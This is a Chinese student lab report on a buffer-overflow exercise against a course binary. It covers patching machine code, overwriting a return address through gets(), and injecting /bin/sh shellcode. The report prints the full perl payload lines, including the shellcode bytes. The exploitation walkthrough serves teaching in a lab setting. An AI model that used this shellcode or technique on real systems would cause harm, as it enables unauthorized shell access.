20222327 2024-2025-1 《网络与系统攻防技术》实验一实验报告
一.实验内容
1.了解Linux系统下的基本操作命令,能够处理一些命令出现的error。
2.掌握了栈与堆的概念以及在进程内存管理中的应用。
3.了解基本的汇编语言指令及其功能。
4.能够深刻理解BoF的原理以及如何运用payload完成BoF的攻击
二.实验过程
任务一 直接修改程序机器指令,改变程序执行流程!
1.通过wincp将文件上传到虚拟机中,将文件改名为pwn20222327后运行objdump -d pwn20222327 | more
2.查找getShell、foo、main函数,图中标注为main函数中需要更改的机器指令
3.由于需要修改到getShell函数的返回地址,同时此处机器指令为补码,所以应该用该条指令的下一地址减去getShell的返回地址即用
4ba-47d,结果为ffffffc3,所以需要将此处标注的d7修改为c3
上图为已经改好的文件,可见此时已经可以访问getShell函数
(任务一与后续任务运行环境不一样,所以会造成界面不同,原因在最后会给出)
任务二 通过构造输入参数,造成BOF攻击,改变程序执行流
1.将未修改为文件改名为pwn20222327_2,打开该文件
标注区域显示需要将在堆栈移动0x1c个空间用作缓冲区,在这些空间后需要执行gets操作,存在缓冲区漏洞,我们可以利用漏洞用getShell的返回地址来进行覆盖,进而达到运行getShell函数的目的
我们可以启动gdb来测试什么样的字符串会使这一程序出现错误
我们先输入5555555566666666777777778888888899999999来试验
可以发现eip中为0x39393939
由于我们需要执行getShell函数,所以在实验字符串的基础上我们只需要将原先99999999的位置替换为getShell的返回地址0x0804847d
我们此时需要确定字节的顺序,所以我们用5555555566666666777777778888888898765432来进行检测
由此看见是反向地址,所以我们需要构造55555555666666667777777788888888\x7d\x84\x04\x08\x0a,但是键盘无法输入16进制
所以通过perl构造输入文件input,同时检验input文件是否为设想的字符串
由图可知是符合预期的,此时需要将文件输入运行的程序当中
此时发现运行了getShell证明操作正确,符合预期
任务三 注入Shellcode并执行
1.首先进行stack的设置
2.构造需要注入的payload
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
此时打开另一终端查看进程PID
启动gdb进行调试
设置断点查看buf的地址
在另一终端中回车
和0x01020304挨着的就是我们所要寻找的返回地址的位置,即0xffffcfb0,则
perl -e 'print "A" x 32;print "\xb0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
由上图可知getShell成功运行,试验成功!
三、问题及解决方案
-
问题1:起初开开心心的用virtualbox上安装openEUler完成了任务一,想着到实验课上完成后续实验,结果在实验课上直接给了我一个惊喜,virtualbox再次提醒我需要重装软件(在之前已经出现过此类问题)
问题1解决方案:直接卸载,用VMware安装kali系统完成任务二和任务三 -
问题2:虚拟机缺少gdb导致任务二无法进行
问题2解决方案:将报错代码粘贴给大模型,直接用大模型给出的代码安装apt和gdb
进行apt的更新
进行gdb的下载
- 问题3:缺少execstack
问题3解决方案:从同学那里白嫖了一个execstack安装文件,直接通过sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
命令进行安装
四、学习感悟、思考等
第一次实验一波三折,主要的实验内容还没有触及的时候先出现的是配置环境和任务所需要的工具配置,配置好环境已经消耗了很多的时间,而后在进行实验内容时就相对较为顺利,因为有老师的讲解、博客上的一步一步的指导以及同学们的帮助。同时我也第一次对缓冲区溢出的攻击有了一个清晰的认知,无论从自己的攻击过程还是一步一步地调试和分析,都需要很多知识的储备,也提醒了我在之后编写程序时需要注意避免缓冲区溢出的漏洞。(尽管写出来的程序没有很大的应用,但是也是一个需要注意的问题)